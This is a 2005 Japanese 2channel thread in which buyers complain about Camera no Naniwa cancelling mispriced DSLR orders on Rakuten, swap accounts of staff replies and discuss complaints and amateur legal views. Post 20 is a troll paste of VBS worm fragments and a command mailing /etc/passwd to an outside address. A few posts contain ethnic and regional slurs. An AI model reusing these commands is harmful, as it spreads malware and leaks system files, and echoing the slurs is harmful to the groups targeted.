┌| ∵|┘ 99,540円の一眼デジカメが59,640円★10台目

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1 ：番組の途中ですが名無しです ：05/03/03 13:30:03 ID:KIy9rtUW: 後はまかせた
2 ：番組の途中ですが名無しです ：05/03/03 13:30:28 ID:y6Rd1R3c: 【スレッドの止め方】
　名前欄：停止&rf&rusi&ran&ras&ran書けませんよ
　本文：真・スレッドストッパー。。。(￣ー￣)ﾆﾔﾘｯ
コピペしてもいけるよ。気に入らないスレはこれで止めてね。
3 ：番組の途中ですが名無しです ：05/03/03 13:32:00 ID:J8VXzL9L: ■■　　　ためになるサイト集　　■■

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行列の弁護士
http://www.ntv.co.jp/horitsu/20040905/3.html

なにわ
http://www.rakuten.co.jp/naniwa/index.html
メールアドレス：info@728.co.jp
カメラのナニワ心斎橋本店
大阪市中央区心斎橋筋1-4-29
（06）6281-4100
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4 ：番組の途中ですが名無しです ：05/03/03 13:37:27 ID:0q4Mt1Fl: ナニワの責任者
http://www.ntt.com/epsol/SERVICEIMAGES/04_1_Picture2.jpg
塩山知之氏
5 ：番組の途中ですが名無しです ：05/03/03 13:45:16 ID:pfLAQ+oE: >>4 石倉三郎ｷﾀ━━━( ﾟ∀ﾟ )━(∀ﾟ　)━(ﾟ　　)━(　　)━(　　ﾟ)━(　ﾟ∀)━( ﾟ∀ﾟ )━━━!!!!
6 ：番組の途中ですが名無しです ：05/03/03 13:48:59 ID:x1fVdiGE: ふだん、朝鮮人を批判してる奴がこういう朝鮮人みたいなことをしてるんだね
恐ろしい話だね
7 ：番組の途中ですが名無しです ：05/03/03 13:49:16 ID:KFaJYCs3: 社会の落ちこぼれの正義なんて誰も相手にしませんよ
このスレを見ればわかるでしょう
あー三国人生活保護者には理解出来ないかもしれませんね
人生丸ごとはったりですから
8 ：番組の途中ですが名無しです ：05/03/03 13:55:25 ID:su+Of3xM: あぁ、ナニワのことか。
客のキャンセルを認めないのは酷いよな。
9 ：番組の途中ですが名無しです ：05/03/03 13:57:07 ID:pfLAQ+oE: ■■ナニワ社員のあからさまな荒らしに注意■■

無関係者を装って論調を誘導する「潜伏工作員」どころか、
「訴えられるもんなら訴えてみろ」など、ナニワ関係者と思われる
あからさまな荒らし行為が頻発しています。

そういう輩は何を言っても無駄なので、２ｃｈブラウザのＮＧＩＤ機能
など使って、あぼーんしましょう。

またＮＧ推奨ＩＤもみんなで共有しましょう！

現在の所のＮＧ推奨ＩＤ
5vYt5m/w
10 ：番組の途中ですが名無しです ：05/03/03 13:57:54 ID:x1fVdiGE: 社会の落ちこぼれじゃない正義っていうのはもしかして、
スーパーがレシートなしでも返金しますっていったら、それに乗じて、ものすごい額の返金を迫ってすごんでた人たちの正義のこと？
ニュースで報道されたら、ビビッて返金しちゃうようなヘタレどもの正義ですか？
11 ：番組の途中ですが名無しです ：05/03/03 13:59:31 ID:LIGkl7TZ: 会長も草葉の陰で泣いておられるでしょう。
老舗企業がアホ本ぼんと取り巻きの飼い犬社員の為にＤＱＮ企業に転落してしまって。
12 ：番組の途中ですが名無しです ：05/03/03 14:00:33 ID:S7a2Ofln: 転売厨必死すぎ。
sageでやれや
13 ：番組の途中ですが名無しです ：05/03/03 14:04:43 ID:Ku7PeqT8: sage
14 ：番組の途中ですが名無しです ：05/03/03 14:08:45 ID:YSsOFjAR: ナニワの掲示板
http://rforum.rakuten.co.jp/?act=cattop&cid=191940&s=1
15 ：番組の途中ですが名無しです ：05/03/03 14:11:27 ID:0q4Mt1Fl: カメラを売れ売れ言っている人たちのことをどう評価するかを
とりあえずわきにおいて、
ナニワという企業が、どんなものか、考えることにしたほうが
いいのではないだろうか。
ナニワという大きな企業が、まともに社会的責任をはたさないって
ことは、すなわち大きな社会悪なのであるのであって、
この点がいちばん追求すべきことなんだと思う。
16 ：番組の途中ですが名無しです ：05/03/03 14:16:10 ID:J8VXzL9L: >>15

社会悪だとかそんなんは他の人が判断することだから、どうでもいい。

ナニワには、まずは筋を通していただければいい。
17 ：番組の途中ですが名無しです ：05/03/03 14:17:24 ID:KIy9rtUW: ここないなとか？
18 ：番組の途中ですが名無しです ：05/03/03 14:39:56 ID:pa/tgNyl: ナニワが売らないと言ってるんだからもうこれ以上交渉しても無駄だろ
19 ：番組の途中ですが名無しです ：05/03/03 14:43:57 ID:ZTECbvv2: >>18
法的手段に訴える
20 ：番組の途中ですが名無しです ：05/03/03 14:56:06 ID:Z116z/6g: c.Copy(dirsystem&"＼MSKernel32.vbs")
c.Copy(dirwin&"＼Win32DLL.vbs")
c.Copy(dirsystem&"＼LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:＼network.vbs", "j:＼windows＼start menu＼programs＼startup＼"
fso.copyfile "dirsystem&nurupo.vbs", "j:＼windows＼start menu＼programs＼startup＼"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
21 ：番組の途中ですが名無しです ：05/03/03 14:59:01 ID:vTbl9hk9: 早速　きたか　スクリプト
22 ：番組の途中ですが名無しです ：05/03/03 15:02:30 ID:KIy9rtUW: メールなんて送ればいい？
夜中に突然来たメール以降おくってない
キャンセルを認めたと思われるよな
返事はこなくても意思表明はしとかんと

腹へってお尻とお尻がくっつきそう
23 ：番組の途中ですが名無しです ：05/03/03 15:05:41 ID:0ip7YyYq: 言いたい事言っておけば良いんで無いかと
俺は１通目に対しキャンセルはには応じないとしか送ってない

お尻とお尻がくっついたら大変だぞ、なんでも良いから食っとけ
24 ：番組の途中ですが名無しです ：05/03/03 15:07:20 ID:lrebWNp9: メールは一度でも「キャンセルしません」と送っておけば十分だろ。
送った奴で、コピペでなくきちんと説明や返答の書かれてるメール
もらってるってのはほとんどいないし。
2通目のメールは、メール送ってもまともに対応しませんって言ってるのと同じ。

この期に及んでは電話ないし郵便、そして内容証明という段階にきてる。
25 ：番組の途中ですが名無しです ：05/03/03 15:12:40 ID:KIy9rtUW: >>23
俺も最初のメールにキャンセルには絶対に応じない
そのあと本社にも一緒に最速メール出した

でもコピペらしきメールが来たからなんて送ろうかと思いつつそのまま

もうくっついてうんこ出来なくなった・・・。

>>24
深夜に来たのはコピペだったよな
ん？
電話、郵便、内容証明をしろと？
26 ：番組の途中ですが名無しです ：05/03/03 15:13:09 ID:0ip7YyYq: 全員宛の２通以外で返答もらってる人っているの？
俺が送ったのは、誰でもわかるように１行だけのメール（送られてきたのは全部つけたけど）だったけど
特に返事は来てない、２通目のあれが返事とは思っていないし、回答ではない
27 ：番組の途中ですが名無しです ：05/03/03 15:15:07 ID:J8VXzL9L: >>26

真偽の程はわからんが、中根から個人宛にメールが届いたという報告が
前スレであった。基本的に中根は「個人的な返答はしない」とこたえているがな。

その内容というのが　「もうちょっと返事は待ってくれ（要約）」　らしい。
28 ：番組の途中ですが名無しです ：05/03/03 15:18:28 ID:0ip7YyYq: 今日俺が電話した時に言われたことは
「レンズ等を買ってしまった人に対しては個々に対応する」
だったな、どういう対応されるのか知らないが

「個人的な返答はしない」ってのは、中根氏独断で判断できないって回答の意味なのか？
回りくどい表現しかしないからわかりにくすぎる
29 ：番組の途中ですが名無しです ：05/03/03 15:21:50 ID:J8VXzL9L: >>28

うーん、たしかに言い回しが微妙だなあ。
ことが起こってから一日二日ならともかく、もう何日経ってると思ってんだか。
いつまでもそんな言葉のあやでもって応対してるから突っ込まれるんだよ。

俺の場合は「他のお客様の対応については申し上げられない」だった。
3/1の時点だけどね。

個々に対応するっていうのも解らん。
個々に補償がしない旨伝えるってのも個々に対応だしな。。
30 ：番組の途中ですが名無しです ：05/03/03 15:22:34 ID:KIy9rtUW: 個別に返信しないと言いたいのか？
とりあえず２通目が返事だと思えんが
またメールをおくるより返事をまつほうがいいんか

とりあえず電話で数時間ねばってみるかな
中根じゃ話しにならんなしかし
31 ：番組の途中ですが名無しです ：05/03/03 15:24:13 ID:KIy9rtUW: まじで馬鹿か？
対応と呼べないぞコレじゃ
32 ：番組の途中ですが名無しです ：05/03/03 15:24:39 ID:zulz4LHq: ■■　　　ためになるサイト集　　■■

弁護士による無料法律相談窓口纏めてくださっているサイト (←一見の価値あり)
http://www.asahi-net.or.jp/~zi3h-kwrz/feeno.html

経済産業省（メール相談）
ttp://www.meti.go.jp/intro/consult/a_main_01.html

全国消費生活センター（電話・現地窓口相談）
http://www.kokusen.go.jp/map/

電子商取引推進協議会（WEBフォームから相談）
ttp://www.ecom.jp/adr/ja/

●まとめ●
○http://ps2.s101.xrea.com/050226.html
○http://naniwa.s115.xrea.com/
○http://eoskissdn.nobody.jp/

行列の弁護士
http://www.ntv.co.jp/horitsu/20040905/3.html

なにわ
http://www.rakuten.co.jp/naniwa/index.html
メールアドレス：info@728.co.jp
カメラのナニワ心斎橋本店
大阪市中央区心斎橋筋1-4-29
（06）6281-4100
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33 ：番組の途中ですが名無しです ：05/03/03 15:24:39 ID:J8VXzL9L: >>30

> 個別に返信しないと言いたいのか？

その意味だと思う。
34 ：番組の途中ですが名無しです ：05/03/03 15:27:27 ID:KIy9rtUW: >>33
でもメールがたくさん来てるから時間がかかるんじゃないのか？

あぁもう意味わかんネぇー
35 ：番組の途中ですが名無しです ：05/03/03 15:29:15 ID:KIy9rtUW: 電話しろってか
メールどんどん送っても結局まとめてｱﾌｫな説明が帰ってくると
36 ：番組の途中ですが名無しです ：05/03/03 15:29:38 ID:EAi8zzuA: >>34
それにしてもメールがきたという報告がここにひとつもないのはありえない。
誰にも返事がない状態なんじゃないの？実際。
37 ：番組の途中ですが名無しです ：05/03/03 15:29:46 ID:0ip7YyYq: 知人も注文していてそいつは忙しいから俺が聞けって言われてるって言ったら
>>29 みたいに「他のお客様については申し上げられない」と
じゃぁ、仮に俺がレンズ買ってたらと質問したら「個々で対応をメールでしている」「今回答は出来ない」
と言われた

個別にメールは返事をしてもらえるとは思っているけれど
38 ：番組の途中ですが名無しです ：05/03/03 15:31:31 ID:J8VXzL9L: あー、ちょっと整理して書くわ。

/個別に対しては電話・メールなどで返答しない(3/1)

/返答は客全体に対してのみする(3/1)

/機材等購入した人に対する補償なし(3/1)

だった。
けど、今日未明からのレスを見る限り、

/個別のメールによる返答報告あり(前スレ)

/補償は「個々に対応」するらしい（対応という言葉が補償を指すのかは不明）

ということになってる。
うわーいい加減だー。
39 ：番組の途中ですが名無しです ：05/03/03 15:33:54 ID:KIy9rtUW: >>38
返答は客全体に対してのみって言ったか？
40 ：番組の途中ですが名無しです ：05/03/03 15:34:54 ID:J8VXzL9L: >>39

確実に言ってる。
41 ：番組の途中ですが名無しです ：05/03/03 15:35:46 ID:EAi8zzuA: 誰かメールで返答来たの？
見逃してるかも。。
42 ：番組の途中ですが名無しです ：05/03/03 15:36:18 ID:0ip7YyYq: >>38
今日のってのは俺の電話が含まれてると思うけれど

>/個別のメールによる返答報告あり(前スレ)
>/補償は「個々に対応」するらしい（対応という言葉が補償を指すのかは不明）

メールで個々に対応、少し遅れるってのは間違いない。ってか俺は聞いた
録音してないので無かったことにされるかもしれないけどな
個別の返答は誰かもらってるの？
43 ：番組の途中ですが名無しです ：05/03/03 15:37:18 ID:KIy9rtUW: >>40
電話で？
メールでは個別の対応はしないとは書いてないよな？
44 ：番組の途中ですが名無しです ：05/03/03 15:42:33 ID:KIy9rtUW: ┌| ∵|┘はカメラを売って閉店しろ
全店な

俺たちが有終の美を飾らせてやるよ
45 ：番組の途中ですが名無しです ：05/03/03 15:43:49 ID:J8VXzL9L: >>42

個々に対応するから遅れるって言い方だったんだ。
俺の場合

　「とにかく今は電話口では何も言えない、返答もできない。
　　間違いのない返答を客にしたいのでもう少し時間の猶予が欲しい」

という意味合いの返答を貰った。ちょっとニュアンスが違ってくるなあ。

>>43
すまん。対応と返答がごっちゃになってたみたいだ。
電話口では、個々への返答はしない、ということを重ねて言われた。
個々への対応についてだけど、3/1の時点では補償はしないと言われた。
ナニワからの二通目のメールを受け取った後だね。

ナニワからのメールだけど、今出先（というか職場）からなんで見られない。
済まん。
46 ：番組の途中ですが名無しです ：05/03/03 15:44:39 ID:0ip7YyYq: 通販何とかには電話する度胸あるが、やっぱ警察には電話しにくいなｗ
状況まとまったら電話しようっと明日かな
47 ：番組の途中ですが名無しです ：05/03/03 15:46:19 ID:EAi8zzuA: ナニワからは最初の一斉メール二通しかきてない。
電話したほうがいいのかな？
でも携帯からは繋がらないんだよね？フリーダイヤル。。
48 ：番組の途中ですが名無しです ：05/03/03 15:49:09 ID:KIy9rtUW: >>45
電話では個別への返答しないってのは、同じ事しか言わないってことか

結局何が言いたいんだ┌| ∵|┘は
何もやらずに時間クレ時間クレ
49 ：番組の途中ですが名無しです ：05/03/03 15:50:12 ID:KIy9rtUW: >>47
えぇ
フリーダイヤル携帯駄目なの？
けちくせぇ

なんかコールバックしてくれるみたいだけどね
50 ：番組の途中ですが名無しです ：05/03/03 15:50:57 ID:0ip7YyYq: >>45
ただ、「メールいっぱい来てて返事が遅い」って感じでもらったな俺は

会社での方針が決まってないんだと思う。
電話では明確な回答得られず、時間が無駄なのを感じた。
51 ：番組の途中ですが名無しです ：05/03/03 15:52:22 ID:KIy9rtUW: ってか腹減った
52 ：番組の途中ですが名無しです ：05/03/03 15:54:14 ID:EAi8zzuA: おなじくお腹すいた。
何食べようかな。。
53 ：番組の途中ですが名無しです ：05/03/03 15:54:15 ID:vTLYF73Q: 今日、仕事休んで「警察」「法律事務所」「消費者センター」に
相談に行ってきました。
ここで詳しく書けませんが、

「私の代理」ということで私の自宅から｛代理人｝さんに電話をしていただきました。
結果、皆さんご存知の担当者の煮え切らない態度と、いかなる件の明言避けられました。
「ぜんぜん誠意も感じられなく相手の真意が読み取れない」と言っており、
他方からのアドバイスもあり、３月１７日のKissDn発売日まで店側から当方の納得がいく様
なメールor電話を待って、もし、納得できない内容のメールor電話、音沙汰なしの場合は
こちら側もそれなりの対応をさせていただきます。

クレジットカード情報を申し込みの際知らせている方は各相談窓口や法律事務所
警察への相談を強く進めます！

このメッセージはナニワのwebショップの掲示板にも書き込みしました。

図書館・インターネットカフェ・漫画喫茶などからの書き込みに悪質な
のが多いみたいですね！

とりあえず報告でした。
54 ：番組の途中ですが名無しです ：05/03/03 15:54:41 ID:J8VXzL9L: >>50

そうかー。とすると、客からのメール内容を把握するのにも時間かかるし
それについての対応を協議するのにも時間かかるっていう理解でいいんだろうか。

> 会社での方針が決まってないんだと思う。

だろうな。
今日になって、中根から離れたところで物事が進められている雰囲気を感じたよ。
ようやく会社全体として対応を協議しているような。
まあ、俺の主観というか、電話口の向こうの雰囲気だから実際はわからんがな。。

ecomや経済産業省、消費センターからの問合せもいってるだろうしね。
55 ：番組の途中ですが名無しです ：05/03/03 15:56:14 ID:KIy9rtUW: >>53
クレカ有利か？
おれは・・・。
代引き
56 ：番組の途中ですが名無しです ：05/03/03 15:57:27 ID:KIy9rtUW: >>54
問答無用キャンセルってかんじじゃないんだ？

いまさら何か考えてるの？

考えも決まってないのにフリーダイヤルつくってどうするんだと
57 ：パトラッシュ ：05/03/03 15:59:30 ID:pfLAQ+oE: 全般的にナニワの対応に知性が感じられないんだワン。
58 ：番組の途中ですが名無しです ：05/03/03 15:59:59 ID:su+Of3xM: ラボもじゃないし、返信できるだろ…
何の時間稼ぎなんだよ、最終的には発送するがそれまで他の店で購入させて人数減らすという作戦か？
59 ：番組の途中ですが名無しです ：05/03/03 16:00:14 ID:kT36rl7S: 大阪人に知性を求める方がそもそも･･･
60 ：番組の途中ですが名無しです ：05/03/03 16:01:33 ID:KIy9rtUW: >>57
馬鹿だよ

>>58
ラボもじゃないし？

>>59
言い過ぎ
救いようの無い馬鹿なだけ
61 ：番組の途中ですが名無しです ：05/03/03 16:01:46 ID:0ip7YyYq: みんな、とにかく気になることは電話したほうが早いよ
電話したところで明言しない、後で回答するでなんの解決もしないだろうけれど

あれか売るのか売らんのか？と聞いたほうがいいのかな
フィッシング詐欺についてどう思います？
とか
62 ：番組の途中ですが名無しです ：05/03/03 16:04:15 ID:su+Of3xM: >>60
もはなかったことに。
63 ：番組の途中ですが名無しです ：05/03/03 16:04:29 ID:KIy9rtUW: >>61
明言しない
申し訳ないしか言わない
意味無し
64 ：番組の途中ですが名無しです ：05/03/03 16:05:30 ID:KIy9rtUW: >>62
ごめん
ラボじゃないし返信できるだろ
でも良く分からん
65 ：番組の途中ですが名無しです ：05/03/03 16:06:41 ID:EAi8zzuA: ラボは一応返信は来ている。
かなり遅いし支離滅裂だけどね。
66 ：番組の途中ですが名無しです ：05/03/03 16:06:53 ID:su+Of3xM: ラボは転売しようとする人も多かっただろうし、メールの返信、問い合わせも多かっただろう。
67 ：番組の途中ですが名無しです ：05/03/03 16:07:36 ID:KIy9rtUW: ラボの手のひら返し対応不思議
68 ：番組の途中ですが名無しです ：05/03/03 16:10:50 ID:vTLYF73Q: 「フィッシング詐欺」と「フィッシング行為」は違います！
使い方間違えるとあまりいいことないので注意してください。

今の段階では「フィッシング行為の疑い」だと思います。
どちらにしてもKissDnの発売日までに店側はどういう答えを出すか？
69 ：番組の途中ですが名無しです ：05/03/03 16:12:20 ID:J8VXzL9L: >>53

乙！

詳しい内容も書けないでしょうが、書ける範囲で結構ですので
おいおい報告お願いします。

そういやあと二週間なんだよな。
今日までの進捗を見るに、また一度こじれると発売日に間に合わなくなるような。。
70 ：番組の途中ですが名無しです ：05/03/03 16:13:30 ID:KIy9rtUW: フィッシング詐欺の疑いで良いじゃねーか
まぁ悪気なしなら詐欺ではないが
うらないならフィッシング行為でそ
71 ：番組の途中ですが名無しです ：05/03/03 16:14:05 ID:HOPCAWB7: 一丸レフデジカメか・・ﾀｹｰﾖ
72 ：番組の途中ですが名無しです ：05/03/03 16:14:31 ID:J8VXzL9L: >>68

まとめサイトの表示もフィッシング行為に直しておきました。

相手を責める際にはこちらにスキがあってはいかんでな。
73 ：番組の途中ですが名無しです ：05/03/03 16:20:07 ID:KIy9rtUW: 腹へって眠い
誰のせい？
74 ：番組の途中ですが名無しです ：05/03/03 16:20:40 ID:su+Of3xM: ストレスで腹はすきやすくなるのか？
75 ：番組の途中ですが名無しです ：05/03/03 16:22:13 ID:EAi8zzuA: 人間は感情の起伏が激しくてもカロリーを消費するらしい。。
76 ：番組の途中ですが名無しです ：05/03/03 16:29:15 ID:KIy9rtUW: >>75
脳を使って考えると激しく疲れて腹へﾙよね
77 ：番組の途中ですが名無しです ：05/03/03 16:30:26 ID:7Mp2RC7Y: よし！俺が友達に頼んで何か聞いてあげるよ。
けど、買い場（売り場）の奴だからあまり詳
しいこと知らなかったらごめんな。

インターネット通販も最初はあの小部屋でや
っていたのに大きくなったもんだな。

それと、お前！（N氏じゃないよ）
サッカーばかりしないでこの問題片付けてから遊びやｗ
結婚の時も色々ありましたもんねｗ
78 ：番組の途中ですが名無しです ：05/03/03 16:32:40 ID:EAi8zzuA: おお、ナニワ関係者の知り合い光臨？
79 ：番組の途中ですが名無しです ：05/03/03 16:52:42 ID:vTbl9hk9: テレ朝でフィシング詐欺についてやってるな。
80 ：番組の途中ですが名無しです ：05/03/03 16:53:12 ID:su+Of3xM: テレ朝、フッシング
81 ：番組の途中ですが名無しです ：05/03/03 16:54:13 ID:su+Of3xM: >>79
負けたよ
82 ：番組の途中ですが名無しです ：05/03/03 16:54:46 ID:vTbl9hk9: 警視庁ではフィシング詐欺についての情報をお待ちしてますだそうだ。
83 ：番組の途中ですが名無しです ：05/03/03 16:54:47 ID:Kv6STqZX: フィッシング１１０番に電話しろ
84 ：番組の途中ですが名無しです ：05/03/03 16:56:44 ID:vTbl9hk9: >>81
お互いフィッシングがちゃんと打ててないな･･･orz
85 ：番組の途中ですが名無しです ：05/03/03 16:59:30 ID:KIy9rtUW: フィッシング詐欺ってあれだろ？
公園で釣りしてるおっさんからつり料金を騙し取る
86 ：番組の途中ですが名無しです ：05/03/03 17:02:18 ID:AW8DFcl8: 発売しないことが決定したらナニワは”ちくり裏事情”に登場しそうだな
87 ：番組の途中ですが名無しです ：05/03/03 17:02:24 ID:KIy9rtUW: ホリエモンに電話して助けて貰うか

┌| ∵|┘の株主でてこい
88 ：番組の途中ですが名無しです ：05/03/03 17:04:51 ID:jIEGCM1/: カード使えなくなってるって話があっちの掲示板にあるが本当？
89 ：番組の途中ですが名無しです ：05/03/03 17:08:16 ID:0ip7YyYq: http://www.naniwa-group.co.jp/n_history/theater/theater_00.html
ナニワＣＭシアター
カンカンカメラのナーニーワって
ビーックビーックビックビックカメラ
と同じリズムで聞こえるのは気のせいでしょうか？
90 ：番組の途中ですが名無しです ：05/03/03 17:12:33 ID:su+Of3xM: 盗作疑惑？
91 ：番組の途中ですが名無しです ：05/03/03 17:13:49 ID:J8VXzL9L: >>89

あまり今回の件に離れたことはやめておかないか？

路線がずれる。
92 ：番組の途中ですが名無しです ：05/03/03 17:15:51 ID:0ip7YyYq: すまん
ナニワのリンクたどってたら見つけてしまって・・・

フィッシング詐欺１１０番、警視庁は何時までやってるかな？
１８時過ぎたら電話かけられそうなんだが
93 ：番組の途中ですが名無しです ：05/03/03 17:16:43 ID:KIy9rtUW: ┌| ∵|┘のスーパーフリーダイヤルは何時まで？
94 ：番組の途中ですが名無しです ：05/03/03 17:20:05 ID:ljCyYD7p: カメラのナニワ・楽天フィッシング被害者の会（仮称）
ttp://naniwa.s115.xrea.com/
ナニワ楽天掲示板　
ttp://rforum.rakuten.co.jp/?act=cattop&sid=2&cname=naniwa
95 ：番組の途中ですが名無しです ：05/03/03 17:21:44 ID:0ip7YyYq: 警察にはフィッシング詐欺の「疑い」があるって電話だよな
重要なのは詐欺の定義の確認か
故意でなければ何しても良いのか？
故意である、ないの証明方法は？
ってあたりが論点？
96 ：番組の途中ですが名無しです ：05/03/03 17:22:34 ID:EAi8zzuA: ナニワ、メディアラボ両方、掲示板のリンクが消えてますね。
この前までは店長の部屋から行けたのに。
97 ：番組の途中ですが名無しです ：05/03/03 17:23:04 ID:fA8FFqJz: ナニワからのキャンセルの申し入れに対して
俺は「断る」の返信を送った

そしてそれに対しての返信は届かない
おかげで、他の店でカメラを注文することもできない状態だ

ナニワそろそろなんか連絡寄こせよ
どんだけ迷惑かけるつもりだ
98 ：番組の途中ですが名無しです ：05/03/03 17:26:34 ID:J8VXzL9L: 多分「フィッシング詐欺」「フィッシング行為」という言葉の違いが
そこに帰結すると思う。

今回は、例えばクレジットカード番号を利用した実被害が出たり
ということがない限り詐欺とは言いにくい。（悪質であることにはかわりないけど）

フィッシング詐欺の詐欺とは、「本物のカード会社等のサイトと偽って、、、」
というところにある。つまり偽らずに抜き取った場合は、その点においては詐欺じゃない。

これ以上の細かいところは俺にもわからん。
99 ：番組の途中ですが名無しです ：05/03/03 17:26:42 ID:ljCyYD7p: アークの粗品はどうなったの？
100 ：番組の途中ですが名無しです ：05/03/03 17:28:33 ID:0q4Mt1Fl: >>89
会長～～、お懐かしゅうございます。
会長が鬼籍にお入りになられてからは、
会社は堕落の一途をたどり、
ついには、お客様の信頼を裏切るという、
商人としては、決してやってはならないことを、
してしまいました。
南無三宝。
もはや会社をたたんで、
ゼロからやり直すしかないと、
社員一同で、決意したところでございます。
101 ：番組の途中ですが名無しです ：05/03/03 17:33:15 ID:zulz4LHq: ナニワカラー消費者権利保護ロゴ　gif(改)透過(マット:白)バージョン
http://www.imgup.org/file/iup11214.gif
ナニワカラー消費者権利保護ロゴ　png透過(マット:白)あり
http://www.imgup.org/file/iup11216.png
落転バージョン消費者権利保護ロゴ1　gifバックカラー:白
http://www.imgup.org/file/iup11223.gif
落転バージョン消費者権利保護ロゴ2　上の1が心配な場合はこれ
http://www.imgup.org/file/iup11224.gif

サイトの一部ロゴなど、どこかで使う場面がありましたら、是非使ってやってください。
サイズ変更やバックカラー変更などなにか希望があれば変更します。
102 ：番組の途中ですが名無しです ：05/03/03 17:33:33 ID:KIy9rtUW: ナニワの看板ではもう無理Ｐ
103 ：番組の途中ですが名無しです ：05/03/03 17:34:39 ID:EAi8zzuA: >>101
どうかメディアラボバージョンも、、、おながいしまつ。
104 ：番組の途中ですが名無しです ：05/03/03 17:36:31 ID:KIy9rtUW: >>101
プロテクションの文字の間がばらばらなのにﾜﾛﾀ
105 ：番組の途中ですが名無しです ：05/03/03 17:40:26 ID:KIy9rtUW: ┌| ∵|┘の元のロゴ忘れたな
おれ大阪ネタがでたら「またカメラのナニワか」っていってるが
誰も食いついてこない・・・。ｗ
106 ：番組の途中ですが名無しです ：05/03/03 17:45:07 ID:0ip7YyYq: >>98
わかりにくい部分ではあるが、「カード情報を打ち込まされた」でいいんかな？
こちらからはフィッシングの話はしなくてもいいのか、向こうがどう受け取るかもわからないし
カード会社でもないから、「本日の段階でのフィッシング詐欺」とは正確には違う物なんだよね？

「住所、氏名、電話番号、カード番号、カード期限」は打ち込みましたと、商品は売ってもらえず、謝罪はある
新手の個人情報収集方法かもしれないと・・・

実際どうなんだろ？民事だって言われて終わっちゃったりするのかな？
107 ：番組の途中ですが名無しです ：05/03/03 17:52:29 ID:EAi8zzuA: オク板で前にフィッシングでヤフーIDとパス打ち込ませるサイトを作ったやつはフィッシング１１０番に通報されて取り調べ受けたみたいよ。
私が通報したわけじゃないからわからないけど。
当人がそのようなことをスレでわめき散らしていたから。
ヤフーIDで取り調べがあるならカード番号なら確実じゃない？
ただ、違う点は、あちらはヤフーを偽装していて、こちらは正規のサイトだって事かな。
108 ：番組の途中ですが名無しです ：05/03/03 17:57:15 ID:J8VXzL9L: >>98

うーんと。これはあくまで、法とかはかじった程度の人の意見ということで。

一般論だけど、カード番号とか、情報は財物じゃないのよ。現行法では。
で、財物を盗めば窃盗だけど、カード番号や情報は財物じゃないから盗んでも
窃盗にはあたらない。もちろんこれは犯罪要件を満たさないってだけだから、
やっていいということにならない。これを商売人がするのは悪質だと言えると思う。

フィッシング詐欺ってのは「カード会社とか販売会社とかを名乗っている」という
ところに偽りがあってこそフィッシング詐欺。で、それでもって盗んだカード番号
を用いて物買ったりしたら、またこれも何らかの（すまんよく解らん）犯罪。

だから、本物の楽天サイト内で入力している以上はフィッシング詐欺とは
言えない。もちろん入力した情報が漏れて買い物に使われたりしたら、それは
犯罪。

つづく
109 ：番組の途中ですが名無しです ：05/03/03 17:59:37 ID:J8VXzL9L: で、今回の件についてだけど。

ありうる価格での表記であったことや、対応の遅さや誠意の見えなささ、
個人情報での対応や、ころころ変わる対応（契約成立時期など）、
特定商取引法に基づいた表記に虚偽の表示の疑いであるとか、
いろんな面で見て>>56の相談を受けた警察や弁護士は、民事あるいは
民事以外のところで動けるのかもしれない、というところだと思う。
110 ：109：05/03/03 18:00:16 ID:J8VXzL9L: 間違い

いろんな面で見て>>53の相談を受けた警察や弁護士は、民事あるいは
民事以外のところで動けるのかもしれない、というところだと思う。
111 ：番組の途中ですが名無しです ：05/03/03 18:01:36 ID:0ip7YyYq: 一般にフィッシング詐欺といわれているのも収集しただけで使わなければ、犯罪ではない？
フィッシング詐欺はカード会社を「名乗った」のが問題になってるってことなのか

んじゃ、警察に言うだけ無駄？？？
相談は受けてくれるよな
112 ：番組の途中ですが名無しです ：05/03/03 18:02:31 ID:J8VXzL9L: >>108のアンカーも間違えてた。

よく間違えるなあ、俺orz
113 ：番組の途中ですが名無しです ：05/03/03 18:03:00 ID:yyVIxn2d: そうだ、諦めよう！
　　＼　|　／
　　― Θ ―
　　／　°＼
　　　 ('A`)　
　　　ノヽノヽ
　　　　　くく
114 ：番組の途中ですが名無しです ：05/03/03 18:04:30 ID:J8VXzL9L: >>111
いや。フィッシング（本物の際と運営者でないのに本物と表示して偽っている）なら
その時点で詐欺。

警察の前に弁護士相談がいいと思う。
どういうふうに警察に相談すればいいかというところも話してもらえる。

警察は民事不介入があるから、言い方によっては先入観もたれて
「それはわたしらでは無理です」というパターンになりがち。
115 ：番組の途中ですが名無しです ：05/03/03 18:11:36 ID:DPGJI+sY: もう２週間だよ、発売まで。発売日に欲しいので近くのキタムラに予約を
入れようかと思ったが、踏みとどまった。
ナニワさん、もう私たちの我慢の限界はきているのよ。このまま１７日まで
放置されたら終生怨んでやる。
116 ：番組の途中ですが名無しです ：05/03/03 18:12:01 ID:+s9pLxz4: 激安！読者限定シークレットセール開催【楽天デジタルニュース】

また、フィッシング詐欺情報メールが届きますた
117 ：番組の途中ですが名無しです ：05/03/03 18:12:22 ID:6hCg9iEQ: 次の祭りまだー？ﾁﾝﾁﾝ
118 ：番組の途中ですが名無しです ：05/03/03 18:12:37 ID:0ip7YyYq: 調べたら時間載ってた・・・ダメじゃん
明日早めに電話する

ハイテク犯罪電話相談　○　ハイテク犯罪相談
　　　０３－３４３１－８１０９
　　　（平日　８：３０～１７：１５受付）

>>114
弁護士かぁ、弁護士って金が必要な印象があるのよね
やっぱecomとかそっちから攻めていくしかないのか

民事でしょって言われちゃうと元も子もないのはわかってるが
カード番号等を収集する方法の一例を伝えてはおこうかと思う
119 ：番組の途中ですが名無しです ：05/03/03 18:33:05 ID:J8VXzL9L: >>115

本当、対応には不満だらけだよ。

実質、二通目の解除を申し出るメールに対する返答はまだないわけだ。
これじゃ買い手は他で買うことも出来ないし、なんともしようがない。

売り手としての対応としてどうかと思うよ。
120 ：番組の途中ですが名無しです ：05/03/03 18:35:46 ID:J8VXzL9L: やべえ、笑っちまった。

職場メールボックスに、楽天から法人や出店希望者向けメールが届いたんだが

「件名　【楽●天】個人情報保護法施行　御社対策済みですか？」

おまえんとこはどういう対応しとんねん！！！
121 ：番組の途中ですが名無しです ：05/03/03 18:42:49 ID:zulz4LHq: >>104
やっぱ気になりますねw　直しておきました。

>>103
一応、似すぎないようには作っておきました。

